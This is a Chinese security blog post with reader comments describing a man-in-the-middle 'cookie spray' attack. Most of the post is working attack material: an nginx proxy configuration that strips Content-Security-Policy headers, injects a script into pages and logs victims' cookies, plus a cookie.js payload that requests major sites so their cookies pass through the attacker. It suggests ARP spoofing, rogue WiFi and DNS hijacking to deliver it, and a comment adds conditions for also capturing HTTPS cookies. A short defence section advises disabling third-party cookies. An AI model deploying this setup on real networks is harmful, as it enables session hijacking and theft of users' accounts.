中间人攻击 -- Cookie喷发

EtherDream 2016-02-01 12:34:00

0x00 前言


分享个中间人攻击姿势,屡试不爽。

原本是篇老文,不过写的太啰嗦。今天用简明的文字,重新讲一遍。

0x01 原理


传统 cookie 嗅探,只能获得用户主动访问的站点。不访问就抓不到,效率很低。

如果流量可控,不如在用户访问的页面中注入一个脚本。通过脚本,就可以请求任意站点:

new Image().src = 'http://anyhost'

因为请求头部会带上 cookie,所以能把任意站点的 cookie 骗上流量,让中间人拿到。

0x02 爆发


首先收集各大网站域名,然后挨个来一发:

var list = ['qq.com', '163.com', 'weibo.com', ...];

for (var i of list) {
    new Image().src = 'http://' + i + '/__cookie';
}

这样,就能把用户各种网站的 cookie 都爆上一遍。

后端收到/__cookie请求,记录其中的 cookie,然后返回一个空内容。于是只需极小的流量,就可以测试一个站点。

0x03 优化


因为收集了各种站点,所以需要大量的域名解析。

为了让爆破更快,可以再劫持用户的 DNS 请求,暂时解析成自己 IP,这样域名查询就不用走外网。

       DNS
     <----->
用户          中间人       外网
     <----->
       HTTP

同时还有个巨大的好处:整个系统不依赖外网,可以离线劫持!

比如在没互联网的地方,开一个 WiFi 就能攻击。

0x04 演示


我们用 nginx 来演示:

# nginx.conf

http {
    resolver            114.114.114.114;
    ...

    log_format          record_cookie '$time_iso8601 $remote_addr $http_host $http_cookie';

    # 静态资源
    server {
        listen          8080;
        server_name     m.io;
        gzip            on;
        #expires         1d;
        root            /path/to/;
    }

    # 代理服务
    server {
        listen          8080 default_server;
        server_name     _;
        gzip            on;

        location / {
            # 请求的是 html 资源,进入劫持流程
            if ($http_accept ~ "text/html") {
                rewrite             ^   /__html;
            }
            # 其他资源正常代理
            proxy_pass              http://$http_host;
        }

        # 页面注入
        location = /__html {
            internal;

            # 压缩的内容无法 sub_filter,先解压
            proxy_set_header        host    $http_host;
            proxy_pass              http://127.0.0.1:50000$request_uri;

            # 删除 CSP 头,防止被阻挡
            proxy_hide_header       Content-Security-Policy;

            # 注入脚本
            sub_filter              <head   "<script src=//m.io/cookie.js></script><head";
        }

        # 记录 cookie
        location = /__cookie {
            access_log              /path/to/cookies.log  record_cookie;

            # 设置缓存时间
            # 避免每次访问页面,都产生大量请求(其实在 js 里判断会更好)
            add_header              Cache-Control   "max-age=3600";

            # 返回空内容
            return                  200;
        }
    }

    # 解压服务
    server {
        listen          127.0.0.1:50000;
        gunzip          on;

        location / {
            proxy_set_header        Accept-Encoding     deflate;
            proxy_pass              http://$host;
        }
    }
}

/path/to目录下,放置前端攻击脚本:

// cookie.js

(function(list) {
    if (self != top) return;

    list = list.split(' ');

    for (var i = 0; i < list.length; i++) {
        new Image().src = 'http://' + list[i] + '/__cookie';
    }
})(
    // 目标站点列表
    '163.com qq.com weibo.com'
)

把浏览器的 HTTP 代理设成 127.0.0.1:8080,就可以演示了。

打开任意 HTTP 页面,就可以爆出用户的各种 Cookie:

实战方式有很多,能控制流量就行。比如 ARP 攻击、钓鱼 WiFi、钓鱼代理,或者劫持小区 PPPoE 网络,等等。

0x05 防范


其实和 JSONP 隐私泄露类似,关闭浏览器「第三方 cookie」即可。

三方 cookie 百害而无一利,隐私泄露的罪魁祸首。

评论

小手冰凉 2016-02-01 14:18:25

奇淫技巧!

路人甲 2016-02-01 14:38:05

数据库出错啦

T

Tai7sy 2016-02-01 15:21:13

@小手冰凉
是奇技淫巧 ==

W

winterFire 2016-02-01 18:25:21

感谢

T

Tai7sy 2016-02-02 09:51:14

不是很懂,DNS都能劫持了,
直接获取cookies不是更简单么....

路人甲 2016-02-02 11:08:51

12306 就是用的大量的第三方cookies 比如验证码
让我哭会

小手冰凉 2016-02-02 14:02:39

@Tai7sy 哈哈 我说呢,怪不得读着那么不顺嘴,还是你懂

路人甲 2016-02-02 15:36:47

很棒的思路!

路人甲 2016-02-02 20:35:51

@Tai7sy 直接获取只能等用户主动访问了某站才能取某站的cookie,这个方法的意义是可以一次性获取所有大站cookie。

T

Tai7sy 2016-02-03 10:44:17

@XXChacha 这就要看DNS的劫持方式了, 是你修改了用户的DNS, 还是拿下了用户所使用的那台DNS服务器. 如果是第二种,这种方法确实很不错. 第一种就......

路人甲 2016-02-11 09:12:52

HTTPS呢。。

路人甲 2016-02-14 17:34:33

学了

路人甲 2016-02-14 17:40:10

点个赞!

E

EtherDream 2016-02-14 19:46:26

@。。。写漏了一段。。。要爆出 https 站点的 cookie 必须:(1) 没设置 secure 属性 (2) 网站没开启 HTST 头。如果开启了 HTST 但没设置 includeSubDomains 参数,可以尝试请求这个站的子域(不存在也没事,中间人可以伪造 DNS 响应),请求里也能包含上级域的 cookie。(当然,上级域不能在 Public Suffix List 里,否则 cookie 是隔离的)

E

EtherDream 2016-02-14 19:50:46

是 HSTS 头

路人甲 2016-02-15 00:43:23

要是后段系统做了唯一身份识别呢,就算你拿到cookies你又怎

迦南 2016-02-15 08:11:06

@小手冰凉 奇技淫巧。。。

E

EtherDream

JSHacker

twitter weibo github wechat

随机分类

Java安全 文章:34 篇
网络协议 文章:18 篇
密码学 文章:13 篇
iOS安全 文章:36 篇
PHP安全 文章:45 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录